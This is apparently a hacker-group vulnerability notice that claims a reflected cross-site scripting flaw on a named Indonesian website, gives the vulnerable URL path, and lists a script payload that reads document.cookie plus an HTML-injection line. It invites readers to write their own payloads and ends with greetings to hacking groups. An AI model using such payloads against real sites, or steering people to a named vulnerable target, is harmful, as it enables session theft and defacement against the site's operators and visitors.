# Impact : ############################################################################################## Cross-site scripting is a flaw that allows users to inject HTML or JavaScript code into a page enabling arbitrary input. There are two main variants of XSS, stored and reflected. Stored XSS allows an attacker to embed a malicious script into a vulnerable page, which is then executed when a victim views the page. ############################################################################################## # Reflected XSS ############################################################################################## # Site : http://mykopio.id/ #Vuln : http://mykopio.id/report/ Write on Note your own payloads : # <script>alert(document.cookie);</script> # <h1> XSS by FA Haxor Thank's to all inj3t0r and Indonesia Haxor